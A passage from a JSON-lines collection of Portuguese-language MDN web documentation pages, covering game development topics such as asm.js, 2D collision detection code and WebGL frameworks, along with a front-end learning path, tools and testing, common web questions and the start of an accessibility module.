sobre o seu mais eletrizante jogo. Promover o jogo ajuda, e em muito, conseguir monetizar ele mais pra frente, então é importante que você faça de uma forma efetiva.\n\nMonetização do jogo\n-------------------\n\nQuando você passa horas e horas construindo, publicando e promovendo o seu jogo, você vai considerar, em algum ponto, conseguir algum sustento financeiro com ele. Monetização de jogos (en-US) é essencial para qualquer pessoa que considera o seu trabalho de desenvolvimento de jogos um esforço sério no caminho para se tornar um desenvolvedor de jogos independente, capaz de se sustentar, então leia mais e veja quais são as suas opções. A tecnologia está madura o suficiente; é apenas uma questão de escolher a melhor abordagem."}
{"title":"asm.js - Desenvolvimento de jogos","text":"asm.js\n======\n\nAsm.js é uma especificação que define um subconjunto de JavaScript que é altamente otimizável. Esta seção examina exatamente o que é permitido no subconjunto asm.js, que melhorias confere, Onde e como você pode fazer uso dele, e mais Principais recursos e exemplos.\n\nO que é asm.js, exatamente?\n---------------------------\n\nÉ muito pequeno estrita subconjunto de JavaScript, que permite que apenas coisas como `while`, `if`, números, chamado funções de nível superior, e outros meros constructos. Ele não permite que objetos, cordas, fechos, e basicamente qualquer coisa que requer a alocação heap. Asm.js se assemelha ao código C, em muitos aspectos, o objectivo é ainda válida JavaScript Chamada completamente que será executado em todos os motores atuais. Ele empurra motores de JS para otimizar este tipo de código e compiladores como emscripten Dá uma definição clara de que tipo de código para gerar. Vamos mostrar o que asm.js código se parece com e explicar como ele ajuda e como você pode usá-lo.\n\nEste subconjunto de JavaScript já é altamente otimizado motores de JavaScript em Many fantasia usando Just-In-Time (JIT) compilação técnica. No entanto, através da definição de um padrão explícito podemos trabalhar com isso otimizando este tipo de código ainda mais e obter o máximo de desempenho como nós podemos sair dela. Ela torna mais fácil para colaborar através de vários motores de JS porque é fácil para falar e benchmark. A idéia é que este tipo de código de correr muito rápido em deveres Cada motor, e se isso não acontecer, é um bug e há uma motores de especificação claro que shoulds otimizar.\n\nEle aussi Torna mais fácil para as pessoas que escrevem compiladores que deseja gerar código de alto desempenho na Web. Podem consultar a especificação asm.js e sei que ele vai correr rápido Se eles aderem a asm.js padrões. Emscripten, um C / C ++ para compilador JavaScript, EMITE código asm.js para fazê-lo funcionar com desempenho quase nativo em vários navegadores.\n\nAlém disso, se um motor especialmente escolhe reconhecer asm.js código, há otimizações ainda mais que pode ser feito. Firefox é o único no navegador para fazer isso agora.\n\nResumo linguagem asm.js\n-----------------------\n\nasm.js é uma linguagem de programação intermediária. asm.js: tem uma taxa de perfomance muito previsível Porque é limitado a um subconjunto muito limitado de JavaScript que fornece inteiros única estritamente tipados, flutuadores, aritmética, chamadas de função, e montão acessos. As características de desempenho estão mais perto de código nativo do que a de JavaScript padrão. Usando um subconjunto de asm.js JavaScript já é suportado pelos principais navegadores web. Desde asm.js executado em um navegador fortemente depende do navegador e do hardware."}
{"title":"Detecção de Colisão 2D - Desenvolvimento de jogos","text":"Detecção de Colisão 2D\n======================\n\nAlgoritmos para detectar colisões em jogos 2D dependem do tipo de formas que podem colidir (por exemplo, retângulo para retângulo, retângulo para círculo, círculo para círculo). Geralmente, você terá uma forma genérica simples que abrange a entidade conhecida como \"hitbox\", portanto, mesmo que a colisão não seja perfeita, ela terá boa aparência e terá bom desempenho em várias entidades. Este artigo fornece uma revisão das técnicas mais comuns usadas para fornecer detecção de colisão em jogos 2D.\n\nCaixa delimitadora alinhada por eixo\n------------------------------------\n\nUma das formas mais simples de detecção de colisão é entre dois retângulos alinhados no eixo — ou seja, sem rotação. O algoritmo funciona garantindo que não haja nenhum espaço entre os 4 lados dos retângulos. Qualquer lacuna significa que uma colisão não existe.\n\n\n```js\nvar rect1 = { x: 5, y: 5, width: 50, height: 50 };\nvar rect2 = { x: 20, y: 10, width: 10, height: 10 };\n\nif (\n  rect1.x < rect2.x + rect2.width &&\n  rect1.x + rect1.width > rect2.x &&\n  rect1.y < rect2.y + rect2.height &&\n  rect1.y + rect1.height > rect2.y\n) {\n  // collision detected!\n}\n\n// filling in the values =>\n\nif (5 < 30 && 55 > 20 && 5 < 20 && 55 > 10) {\n  // collision detected!\n}\n```\n\n\n```\n<div id=\"cr-stage\"></div>\n<p>\n  Mova o retângulo com as setas do teclado. Verde significa colisão, azul\n  significa não-colisão.\n</p>\n<script\n type=\"text/javascript\"\n src=\"https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js\"></script>\n```\n\n\n```\nCrafty.init(200, 200);\n\nvar dim1 = { x: 5, y: 5, w: 50, h: 50 };\nvar dim2 = { x: 20, y: 10, w: 60, h: 40 };\n\nvar rect1 = Crafty.e(\"2D, Canvas, Color\").attr(dim1).color(\"red\");\n\nvar rect2 = Crafty.e(\"2D, Canvas, Color, Keyboard, Fourway\")\n  .fourway(2)\n  .attr(dim2)\n  .color(\"blue\");\n\nrect2.bind(\"EnterFrame\", function () {\n  if (\n    rect1.x < rect2.x + rect2.w &&\n    rect1.x + rect1.w > rect2.x &&\n    rect1.y < rect2.y + rect2.h &&\n    rect1.h + rect1.y > rect2.y\n  ) {\n    // collision detected!\n    this.color(\"green\");\n  } else {\n    // no collision\n    this.color(\"blue\");\n  }\n});\n```\n\n\n**Nota:** Outro exemplo sem o Canvas ou bibliotecas externas.\n\nColisão Circular\n----------------\n\nOutra forma simples para detecção de colisão é entre dois círculos. Esse algoritmo funciona tomando os pontos centrais dos dois círculos e garantindo que a distância entre os pontos centrais seja menor que os dois raios somados.\n```\n\n<div id=\"cr-stage\"></div>\n<p>\n  Move the circle with arrow keys. Green means collision, blue means no\n  collision.\n</p>\n<script\n type=\"text/javascript\"\n src=\"https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js\"></script>\n```\n\n\n```\n#cr-stage {\n  position: static !important;\n  height: 200px !important;\n}\n```\n\n\n```\nCrafty.init(200, 200);\n\nvar dim1 = { x: 5, y: 5 };\nvar dim2 = { x: 20, y: 20 };\n\nCrafty.c(\"Circle\", {\n  circle: function (radius, color) {\n    this.radius = radius;\n    this.w = this.h = radius \\* 2;\n    this.color = color || \"#000000\";\n\n    this.bind(\"Move\", Crafty.DrawManager.drawAll);\n    return this;\n  },\n\n  draw: function () {\n    var ctx = Crafty.canvas.context;\n    ctx.save();\n    ctx.fillStyle = this.color;\n    ctx.beginPath();\n    ctx.arc(\n      this.x + this.radius,\n      this.y + this.radius,\n      this.radius,\n      0,\n      Math.PI \\* 2,\n    );\n    ctx.closePath();\n    ctx.fill();\n    ctx.restore();\n  },\n});\n\nvar circle1 = Crafty.e(\"2D, Canvas, Circle\").attr(dim1).circle(15, \"red\");\n\nvar circle2 = Crafty.e(\"2D, Canvas, Circle, Fourway\")\n  .fourway(2)\n  .attr(dim2)\n  .circle(20, \"blue\");\n\ncircle2.bind(\"EnterFrame\", function () {\n  var dx = circle1.x + circle1.radius - (circle2.x + circle2.radius);\n  var dy = circle1.y + circle1.radius - (circle2.y + circle2.radius);\n  var distance = Math.sqrt(dx \\* dx + dy \\* dy);\n\n  if (distance < circle1.radius + circle2.radius) {\n    // collision detected!\n    this.color = \"green\";\n  } else {\n    // no collision\n    this.color = \"blue\";\n  }\n});\n```\n\n\n\n```js\nvar circle1 = { radius: 20, x: 5, y: 5 };\nvar circle2 = { radius: 12, x: 10, y: 5 };\n\nvar dx = circle1.x - circle2.x;\nvar dy = circle1.y - circle2.y;\nvar distance = Math.sqrt(dx \\* dx + dy \\* dy);\n\nif (distance < circle1.radius + circle2.radius) {\n  // collision detected!\n}\n```\n\n\n**Nota:** Aqui é outro exemplo sem o Canvas ou bibliotecas externas.\n\nTeorema do eixo de separação\n----------------------------\n\nEste é um algoritmo de colisão que pode detectar uma colisão entre quaisquer dois polígonos \\*convexos\\*. É mais complicado implementar do que os métodos acima, mas é mais poderoso. A complexidade de um algoritmo como esse significa que precisaremos considerar a otimização de desempenho, abordada na próxima seção.\n\nA implementação do SAT está fora do escopo desta página, portanto, veja os tutoriais recomendados abaixo:\n\n1. Separating Axis Theorem (SAT) explanation\n2. Collision detection and response\n3. Collision detection Using the Separating Axis Theorem\n4. SAT (Separating Axis Theorem)\n5. Separation of Axis Theorem (SAT) for Collision DDetection\nPerformance de Colisão\n----------------------\n\nEmbora alguns desses algoritmos para detecção de colisão sejam simples o suficiente para serem calculados, pode ser um desperdício de ciclos testar todas as entidades com todas as outras entidades. Normalmente os jogos dividem a colisão em duas fases, ampla e estreita.\n\n### Fase Larga\n\nA fase ampla deve fornecer uma lista de entidades que \\*podem\\* estar colidindo. Isso pode ser implementado com uma estrutura de dados espacial que lhe dará uma ideia aproximada de onde a entidade existe e o que existe em torno dela. Alguns exemplos de estruturas de dados espaciais são Quad Trees, R-Trees ou um Spash Hashmap.\n\n### Fase estreita\n\nQuando você tem uma pequena lista de entidades para verificar, você vai querer usar um algoritmo de fase estreita (como os listados acima) para fornecer uma resposta certa sobre se há uma colisão ou não."}
{"title":"Jogos 3D na WEB - Desenvolvimento de jogos","text":"Jogos 3D na WEB\n===============\n\nA melhor arma para desenvolver ótimas experiências em jogos na WEB é WebGL, que é renderizada em HTML `<canvas>`. WebGL é, basicamente, uma OpenGL ES 2.0 para a Web — é uma API JavaScript que fornece ferramentas para construir animações ricas e, logicamente, jogos. Você pode gerar e renderizar gráficos dinâmicos em 3D com JavaScript acelerado por hardware.\n\nDocumentação e suporte para navegadores\n---------------------------------------\n\nA documentação e as especificações do projeto WebGL é mantida pelo Grupo Khronos, não o W3C como a maioria das APIs Web. O suporte nos navegadores modernos é muito bom, até mesmo em mobile, portanto você não terá que se preocupar muito com isso. Todos os navegadores comuns suportam WebGL e tudo mais que você precisar para que possa focar em otimizar o desempenho nos dispositivos que usar.\n\nHá um esforço contínuo em liberar WebGL 2.0 (baseado na OpenGL ES 3.0) em um futuro próximo para, além de trazer muitas melhorias, também ajudar os desenvolvedores a construir jogos para a Web \"moderna\", usando hardware atual e poderoso.\n\nExplicando a teoria 3D básica\n-----------------------------\n\nO básico da teoria 3D gira em torno de formas representadas em um espaço 3D, que corresponde a um sistema de coordenadas usadas para calcular suas posições. Veja noss artigo Explicando a teoria 3D básica (en-US) para todas as informações que você precisar\n\nConceitos avançados\n-------------------\n\nVocê pode fazer muito mais com WebGL. Há alguns conceitos avançados que você deve se aprofundar e aprender mais — como shaders, detecção de colisão, ou o mais recente tópico em alta — realidade virtual na web.\n\n### Shaders\n\nÉ importante mencionar os shaders, que tem uma história separada por sí próprios. Shaders usam GLSL, uma \"Linguagem de Sombreamento\" OpenGL especial com sintaxe similar a C, que é executada diretamente pelos pipelines de gráficos. Podem ser divididos em Vertex Shaders e Fragment Shaders (ou Pixel Shaders) — o primeiro transforma as posições das formas em coordenadas reais de desenho 3D, enquanto o segundo calcula cores de renderização e outros atributos. Recomendamos fortemente que você veja o artigo GLSL Shaders (en-US) para aprender mais sobre eles.\n\n### Detecção de Colisão\n\nÉ difícil de imaginar um jogo sem detecção de colisão — nós sempre precisamos trabalhar com algo batendo em alguma outra coisa. Temos informações disponíveis para você aprender em:\n\n* Detecção de colisão 2D\n* Detecção de colisão 3D (en-US)\n### WebVR\n\nO conceito de realidade virtual não é novo, mas está crescendo na web devido os avanços de hardware, tal como o Oculus Rift, e a (atualmente experimental) WebVR API para capturar informações de hardware via Realidade Virtual (RV) e tonaná-la acessível para uso em aplicações JavaScript. Para mais informações, leia WebVR — Realidade Virtual para a Web (en-US).\n\nTambém há o artigo Desenvolvendo uma demo básica com A-Frame (en-US) que te mostra como é fácil construir ambientes 3D para realidade virtual usando o framework A-Frame.\n\nO surgimentos de bibliotecas e frameworks\n-----------------------------------------\n\nCodificar WebGL diretamente é bem complexo, mas você vai querer se familiarizar com isso a longo prazo quando seus projetos avançarem (veja nossa documentação WebGL para começar). Para projetos do mundo real você provavelmente também usará um framework para acelerar o desenvolvimento e ajudar na administração do projeto em que estiver trabalhando. Usar um framework para jogos 3D também ajuda muito a otimizar o desempenho, assim você pode focar no desenvolvimento do jogo.\n\nA biblioteca JavaScript 3D mais popular é Three.js, uma ferramenta multiuso que deixa técnicas 3D comuns mais simples de serem implementadas. Há outras bibliotecas de desenvolvimento de jogos populares e alguns frameworks que valem a pena serem checados também; A-Frame, PlayCanvas e Babylon.js estão entre os mais reconhecidos, com belas documentações, editores online e comunidades ativas.\n\n### Desenvolvendo uma demo básica com A-Frame\n\nA-Frame é um framework web para desenvolvimento 3D e experiências de RV. Visto mais afundo, é um framework three.js com um padrão componente-entidade declarativo, significando que podemos construir cenas apenas com HTML. Veja a página Desenvolvendo uma demo básica com A-Frame (en-US) para o passo-a-passo da criação de uma demo.\n\n### Desenvolvendo uma demo básica com Babylon.js\n\nBabylon.js é um dos mais populares motores de jogos 3D usados por desenvolvedores. Assim como qualquer outra biblioteca 3D, ela fornece funções integradas para te ajudar a implementar funcionalidades tridimensionais comuns mais rapidamente. Veja a página Desenvovlendo uma demo básica com Babylon.js (en-US) para saber o básico de Babylon.js, incluindo configurações do ambiente de desenvolvimento, estruturar o HTML necessário e escrever o código JavaScript.\n\n### Desenvolvendo uma demo básica com PlayCanvas\n\nPlayCanvas é um popular motor de jogos 3D WebGL de código aberto no GitHub, com um editor acessível online e com boa documentação. Veja a página Desenvolvendo uma demo básica com PlayCanvas (en-US) para detalhes mais avançados e encontrar outros artigos mostrando como usar a bilbioteca PlayCanvas e o editor online.\n\n### Desenvolvendo uma demo básica com Three.js\n\nThree.js, assim como qualquer outra biblioteca, lhe fornece uma enorme vantagem: ao invés de escrever centenas de linhas do código WebGL para construir qualquer coisa interessante, te permite usar as funções auxiliares integradas para desenvolver o que quiser muito mais rápido e fácil. Veja a página Desenvolvendo uma demo básica com Three.js (en-US) para o passo-a-passo da criação de uma demo.\n\n### Outras ferramentas\n\nTanto Unity quanto Unreal podem exportar o seu jogo para WebGL com asm.js, então você estará livre para usar suas ferramentas e técnicas para desenvolvimento de jogos que serão exportados para a web.\n\n![](http://end3r.github.io/MDN-Games-3D/A-Frame/img/shapes.png)\n\nPara onde ir agora\n------------------\n\nCom esse artigo nós apenas arranhamos a superfície do que é possível fazer com as tecnologias disponíveis atualmente. Você pode desenvolver jogos imersivos, belos e rápidos na WEB usando WebGL, e as bibliotecas e frameworks construídos sobre ele.\n\n### Código-fonte\n\nVocê pode encontrar todo o código fonte para esta série de demos no GitHub.\n\n### APIs\n\n* Canvas API\n* WebGL API\n* WebVR API\n### Frameworks\n\n* Three.js\n* Whitestorm.js (baseado em Three.js)\n* PlayCanvas\n* Babylon.js\n* A-Frame\n### Tutoriais\n\n* Desenvolvendo uma demo básica com Three.js (en-US)\n* Desenvolvendo uma demo básica com Whitestorm.js\n* Desenvolvendo uma demo básica com PlayCanvas (en-US)\n* Desenvovlendo uma demo básica com Babylon.js (en-US)\n* Desenvolvendo uma demo básica com A-Frame (en-US)"}
{"title":"Desenvolvedor Web Front-end - Aprendendo desenvolvimento web","text":"Desenvolvedor Web Front-end\n===========================\n\nBoas vindas a nossa trilha de estudos para Desenvolvedor Web Front-end!\n\nAqui nós provemos um curso estruturado que irá lhe ensinar tudo o que você precisa para se tornar um desenvolvedor web front-end. Simplesmente trabalhe em cada sessão, aprendendo novas habilidades (ou melhorando as existentes) à medida que avança. Durante cada sessão, você encontrará exercícios e avaliações para testar sua compreensão antes de avançar.\n\nTemas cobertos\n--------------\n\nOs temas gerais abordados são:\n\n* Configuração básica e aprender como aprender\n* Padrões Web e melhores práticas (como acessibilidade e compatibilidade cross-browser)\n* HTML, a linguagem que fornece significado e estrutura ao conteúdo web\n* CSS, a linguagem usada para estilizar as páginas web\n* JavaScript, a linguagem de scripts usada para criar funcionalidades dinâmicas na web\n* Ferramentas usadas para facilitar o desenvolvimento client-side moderno.\n\nAs diferentes sessões são desenhadas para trabalhar em ordem, mas cada uma também é independente. Se, por exemplo, você já souber HTML, pode avançar rapidamente para a sessão de CSS.\n\n**Pré**-**requisitos**\n----------------------\n\nVocê não precisa de nenhum conhecimento prévio para começar este curso. Tudo o que você precisa é um computador executando um navegador web moderno, uma conexão com internet, e vontade de aprender.\n\nSe você não tem certeza se o desenvolvimento front-end é para você, e/ou se deseja uma introdução mais suave antes de começar um curso mais completo, você pode conferir primeiro nossa Introdução à web.\n\nConseguindo ajuda\n-----------------\n\nNós tentamos deixar os estudos de desenvolvimento web front-end o mais confortável possível, entretanto, você provavelmente chegará em algum ponto em que irá travar por não entender alguma coisa, ou algum código pode não funcionar como deveria.\n\nNão entre em pânico. Às vezes, todas as pessoas ficam presas, sejamos iniciantes ou profissionais em desenvolvimento web. O artigo Aprendendo a Aprender (à ser adicionado) irá te prover uma série de dicas e sugestões sobre como procurar informações e se ajudar. E se você continuar travando, sinta-se à vontade para postar uma dúvida em nosso fórum no Discourse.\n\nVamos começar. Boa sorte!\n\nA trilha de estudos\n-------------------\n\n### Começando\n\nTempo para completar: 1–2 horas\n\n#### Pré-requisitos\n\nNada, exceto conhecimentos básicos de informática.\n\n#### Como saberei se posso seguir em frente?\n\nNão há avaliações nesta parte do curso. Certifique-se de não ignorá-lo — é importante para te preparar para enfrentar os exercícios mais tarde.\n\n#### Guias principais\n\n* Instalando os programas básicos — configuração básica das ferramentas (15 min de leitura)\n* Introdução à Web e aos Padrões Web (45 min de leitura)\n* Aprendendo a buscar ajuda (en-US) (45 min de leitura)\n### Semântica e estrutura HTML\n\nTempo para completar: 35–50 horas\n\n#### Pré-requisitos\n\nNada, exceto conhecimentos básicos de informática e o ambiente de desenvolvimento web básico.\n\n#### Como saberei se posso seguir em frente?\n\nAs avaliações em cada módulo são projetadas para testar seu conhecimento sobre o assunto — a conclusão de cada uma provará que você pode passar para o próximo.\n\n#### Guias principais\n\n* Introdução ao HTML (15–20 horas de leitura/exercícios)\n* Multimídia e Incorporação (15–20 horas de leitura/exercícios)\n* Tabelas em HTML (5–10 horas de leitura/exercícios)\n### Estilizando e layout com CSS\n\nTempo para completar: 90–120 horas\n\n#### Pré-requisitos\n\nÉ recomendável que você possua o conhecimento básico de HTML antes de começar aprender CSS. Você pode estudar nossa Introdução ao HTML primeiro.\n\n#### Como saberei se posso seguir em frente?\n\nAs avaliações em cada módulo são projetadas para testar seu conhecimento sobre o assunto — a conclusão de cada uma provará que você pode passar para o próximo.\n\n#### Guias principais\n\n* Primeiros passos com CSS (10–15 horas de leitura/exercícios)\n* Blocos de construção CSS (35–45 horas de leitura/exercícios)\n* Estilizando Texto (15–20 horas de leitura/exercícios)\n* CSS layout (30–40 horas de leitura/exercícios)\n\n#### Conteúdo adicional\n\n* CSS layout cookbook\n### Interatividade com JavaScript\n\nTempo para completar: 135–185 horas\n\n#### Pré-requisitos\n\nÉ recomendável que você possua o conhecimento básico de HTML antes de começar aprender JavaScript. Você pode estudar nossa Introdução ao HTML primeiro.\n\n#### Como saberei se posso seguir em frente?\n\nAs avaliações em cada módulo são projetadas para testar seu conhecimento sobre o assunto — a conclusão de cada uma provará que você pode passar para o próximo.\n\n#### Guias principais\n\n* Primeiros passos com JavaScript (30–40 horas de leitura/exercícios)\n* Elementos construtivos do Javascript (25–35 horas de leitura/exercícioss)\n* APIs web do lado cliente (30–40 horas de leitura/exercícios)\n* Introdução a objetos em Javascript (25–35 horas de leitura/exercícios)\n* JavaScript Assíncrono (25–35 horas de leitura/exercícios)\n### Formulários Web — Trabalhando com dados de usuário\n\nTempo para completar: 40–50 horas\n\n#### Pré-requisitos\n\nFormulários demandam conhecimento em HTML, CSS e JavaScript para o seu bom uso. Eles são complexos e, portanto, recebem tratamento separado.\n\n#### Como saberei se posso seguir em frente?\n\nAs avaliações em cada módulo são projetadas para testar seu conhecimento sobre o assunto — a conclusão de cada uma provará que você pode passar para o próximo.\n\n#### Guias principais\n\n* Formulários da Web - Trabalhando com dados do usuário (40–50 horas)\n### Fazendo uma web para todas as pessoas\n\nTempo para completar: 60–75 horas\n\n#### Pré-requisitos\n\nÉ uma boa ideia que você saiba HTML, CSS e JavaScript antes de ler esta sessão — muitas das técnicas e melhores práticas contidas aqui utilizam várias tecnologias.\n\n#### Como saberei se posso seguir em frente?\n\nAs avaliações em cada módulo são projetadas para testar seu conhecimento sobre o assunto — a conclusão de cada uma provará que você pode passar para o próximo.\n\n#### Guias principais\n\n* Cross Browser Teste (en-US) (25–30 horas de leitura/exercícioss)\n* Acessibilidade (20–25 horas de leitura/exercícios)\n### Ferramentas modernas\n\nTempo para completar: 55–90 horas\n\n#### Pré-requisitos\n\nÉ uma boa ideia que você saiba HTML, CSS e JavaScript antes de ler esta sessão, as ferramentas citadas aqui utilizam várias dessas tecnologias.\n\n#### Como saberei se posso seguir em frente?\n\nNão temos avaliações específicas neste conjunto de módulos, mas os tutoriais de estudo de caso no final dos 2º e 3º módulos irão te preparar bem para compreender os elementos essenciais das ferramentas modernas.\n\n#### Guias principais\n\n* Git and GitHub (en-US) (5 hour read)\n* Understanding client-side web development tools (en-US) (20–25 horas de leitura)\n* Understanding client-side JavaScript frameworks (30-60 horas de leitura/exercícios)"}
{"title":"Ferramentas e teste - Aprendendo desenvolvimento web","text":"Ferramentas e teste\n===================\n\nAssim que você se sentir mais confortável programando nas tecnologias web básicas (como HTML, CSS e JavaScript), e pegar mais experiência, ler mais recursos, e souber mais dicas e truques, você começará a se deparar com todos os tipos de ferramentas, de CSS e JavaScript precompilados, a automação e testes de aplicações, além de outros assuntos mais avançados. Quando seus projetos começam a crescer e a ficarem mais complexos, você irá querer começar a aproveitar mais dessas ferramentas, e a elaborar planos de testes mais confiáveis para seu código. Esta parte do aprendizado está focada em te dar o que você precisa para iniciar e tomar decisões com melhores informações.\n\nA indústria de internet é um excitante lugar de trabalho, mas não é por ter menos problemas. Muito pelo contrário. As tecnologias básicas que usamos para construir sites estão razoavelmente estáveis agora, mas novas funcionalidades estão sendo introduzidas o tempo todo, assim como novas ferramentas — que facilitam o trabalho, e ainda são construídas usando essas mesmas tecnologias — estão constantemente aparecendo. Além disso, nós ainda precisamos ter sempre em mente que essas tecnologias devem funcionar em todos os navegadores, e ter certeza que nosso código segue as melhores práticas que permitem nossos projetos funcionarem em todos os tipos de navegadores e dispositivos que nossos usuários estão usando para navegar na internet, e ainda serem usados por pessoas com deficiência.\n\nSaber quais ferramentas você deve utilizar pode ser um processo bem difícil, então escrevemos esses artigos para te manter informado de quais tipos de ferramentas estão disponíveis, e o que elas podem fazer pra você, e como usar as preferidas do mercado.\n\n**Nota:** pelo fato de novas ferramentas e tecnologias aparecerem e saírem de moda o tempo todo, nós, deliberadamente, escrevemos este material para ser o mais neutro possível — queremos focar, antes de mais nada, nos tipos de tarefas gerais que essas ferramentas podem ajudar você a terminar, e endereçar ferramentas específicas o menos possível. Obviamente precisamos mostrar o uso das ferramentas para demonstrar técnicas específicas, mas que fique claro que com isso não estamos necessariamente, recomendando as ferramentas usadas nas demonstrações como as melhores, ou como único jeito, de se fazer as coisas — na maioria dos casos existem outras formas de se fazer, mas queremos dar a você a forma mais clara que funciona.\n\nCaminho de aprendizado\n----------------------\n\nVocê realmente deve aprender os conceitos básicos de HTML, CSS e JavaScript antes de utilizar as ferramentas descritas aqui. Isto é, você precisará conhecer os principios fundamentais dessas linguagens antes de começar a debugar problemas em códigos mais complexos da internet, ou usar alguma biblioteca JavaScript, ou escrever testes e rodá-los no seu código com executores de testes, etc.\n\nVocê realmente precisa de uma base forte de conhecimento nessas tecnologias antes de ir mais além.\n\nMódulos\n-------\n\nFerramentas de Desenvolvimento Web do Mundo Real (TBD)\n\nNeste módulo, exploramos os diferentes tipos de ferramentas de desenvolvimento web disponíveis. Isso inclui revisar os tipos de tarefas mais comuns que será pedido a você para resolver, como elas se complementam no trabalho, e as melhores ferramentas disponíveis atualmente para endereçar essas tarefas.\n\nTestes de navegadores (en-US)\n\nEste módulo olha especificamente para a área de testes de projetos web sobre diferentes navegadores web. Neste módulo, procuramos identificar seu público alvo (por exemplo, quais usuários, navegadores e dispositivos você mais precisa se preocupar?), como elaborar os testes, os principais problemas que você vai enfrentar com tipos de código diferentes e como consertar ou mitigá-los, e como usar a automação para acelerar os testes."}
{"title":"Questões comuns - Aprendendo desenvolvimento web","text":"Questões comuns\n===============\n\nEsta sessão de Área de Aprendizado é voltada para dar respostas à questões comuns que possam surgir, que não necessariamente sejam parte do núcleo dos meios de aprendizado (ex. artigos sobre HTML ou CSS.) Estes artigos foram feitos para funcionar de forma independente.\n\nQuestões sobre HTML e CSS\n-------------------------\n\nLeia Use HTML to solve common problems (em inglês) e Use CSS to solve common problems (en-US) (em inglês) para solução de problemas comuns com HTML/CSS.\n\nComo a Web funciona?\n--------------------\n\nEsta seção cobre a mecânica da Web —questões relacionadas a conhecimentos gerais sobre o ecossistema da Web e como ele funciona.\n\nComo a Internet funciona?\n\nA **Internet** é a espinha dorsal da Web, a infraestrutura técnica que faz a Web possível. Mais basicamente, a Internet é uma gigantesca rede de computadores que se comunicam juntos. Este artigo discute o básico sobre o funcionamento da Internet.\n\nQual a diferença entre webpage, website, web server, and search engine?\n\nNesse artigo nós descrevemos vários conceitos relaciona a Web: webpages, websites, Web servers, and search engines. Esses termos são frequentemente confundidos por iniciantes na web, ou são utizados de maneira incorreta. Vamos entender o que eles realmente significam!\n\nO que é uma URL? (en-US)\n\nCom Hypertext (en-US) e HTTP, URL é um conceito-chave quando se trata da Internet. Ele é um mecanimos utilizado pelos navegadores para recuperar qualquer recurso publicado na Web\n\nO que é um domain name?\n\nDomain names eles são uma parte essencial para a infraestrutura da internet. Eles deixam o endereço legivel por humanos para qualquer Web server disponivel na internet.\n\nO que é um web server?\n\nO termo \"Web server\" pode se referir ao hardware ou ao software que serve sites para clientes na Web — ou ambos deles trabalhando juntos. Nesse artigo nós veremos como Web servers funcionam, e porque eles são importantes.\n\nO que são hyperlinks?\n\nNesse artigo, nós veremos do que são hypelinks e porque eles importam.\n\nTools and setup\n---------------\n\nQuestions related to the tools/software you can use to build websites.\n\nHow much does it cost to do something on the Web? (en-US)\n\nWhen you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).\n\nWhat software do I need to build a website?\n\nIn this article we explain which software components you need when you're editing, uploading, or viewing a website.\n\nWhat text editors are available? (en-US)\n\nIn this article we highlight some things to think about when choosing and installing a text editor for web development.\n\nHow do I set up a basic working environment? (en-US)\n\nWhen working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.\n\nWhat are browser developer tools?\n\nEvery browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.\n\nHow do you make sure your website works properly? (en-US)\n\nSo you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.\n\nHow do you upload files to a web server?\n\nThis article shows how to publish your site online with FTP (en-US) tools — one fo the most common ways to get a website online so others can access it from their computers.\n\nHow do I use GitHub Pages? (en-US)\n\nThis article provides a basic guide to publishing content using GitHub's gh-pages feature.\n\nHow do you host your website on Google App Engine?\n\nLooking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.\n\nWhat tools are available to debug and improve website performance?\n\nThis set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.\n\nDesign and accessibility\n------------------------\n\nThis section lists questions related to aesthetics, page structure, accessibility techniques, etc.\n\nHow do I start to design my website?\n\nThis article covers the all-important first step of every project: define what you want to accomplish with it.\n\nWhat do common web layouts contain? (en-US)\n\nWhen designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.\n\nWhat is accessibility? (en-US)\n\nThis article introduces the basic concepts behind web accessibility.\n\nHow can we design for all types of users? (en-US)\n\nThis article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.\n\nWhat HTML features promote accessibility? (en-US)\n\nThis article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities."}
{"title":"Accessibility - Aprendendo desenvolvimento web","text":"Accessibility\n=============\n\nAprender HTML, CSS e Javascript é útil se você quer se tornar um desenvolvedor web, mas seu conhecimento precisa ir além. Você deve usá-las de forma a maximizar a audiencia dos seus sites, e permitir que todos possam acessar o conteúdo. Para conseguir isso, será necessário seguir boas práticas, realizar testes em vários navegadores (cross browser testing (en-US)) e pensar em acessibilidade desde o início do desenvolvimento. Este módulo abordará a acessibilidade em detalhes.\n\nVisão geral\n-----------\n\nQuando alguem descreve um site como 'acessível', entende-se que qualquer usuário pode acessar o conteúdo, independente de como o conteúdo foi acessado - mesmo, e especialmente portadores de limitações físicas ou mentais.\n\n* Os sites devem ser acessíveis por teclado, mouse ou telas sensíveis, e qualquer outra forma, incluindo leitores de tela, ou assistentes de voz, como Alexa, ou Google home.\n* As aplicações devem ser compreensíveis e usáveis pelos usuários independentemente de suas habilidades auditivas, visuais, físicas ou cognitivas.\n* Os sites também não podem oferecer perigo: alguns movimentos podem causar enxaquecas ou ataques epiléticos.\n\n**Por padrão, o HTML é acessível, se utilizado corretamente.** A acessibilidade web presume que o conteúdo continuará acessível, independente de como o conteúdo será acessado.\n\nO recurso **Inspecionar propriedades de acessibilidade** é uma ótima ferramenta para verificar problemas de acessibilidade nos sites. O vídeo a seguir fornece uma boa introdução sobre a ferramenta.\n\nPrerequisitos\n-------------\n\nPara ter o máximo proveito deste módulo, recomendamos que esteja familiarizados com pelos os dois primeiros módulos de HTML, CSS, e JavaScript, ou melhor ainda, com as partes principais do módulo de acessibilidade de cada capítulo, à medida em que vai estudando.\n\n**Nota:** Se você está estudando em um dispositivo que não pode criar novos arquivos, voce pode testar os exemplos em alguma aplicação de codificação online, como JSBin ou Thimble.\n\nGuias\n-----\n\nO que é acessibilidade? (en-US)\n\nEste artigo fornece uma visão geral do que 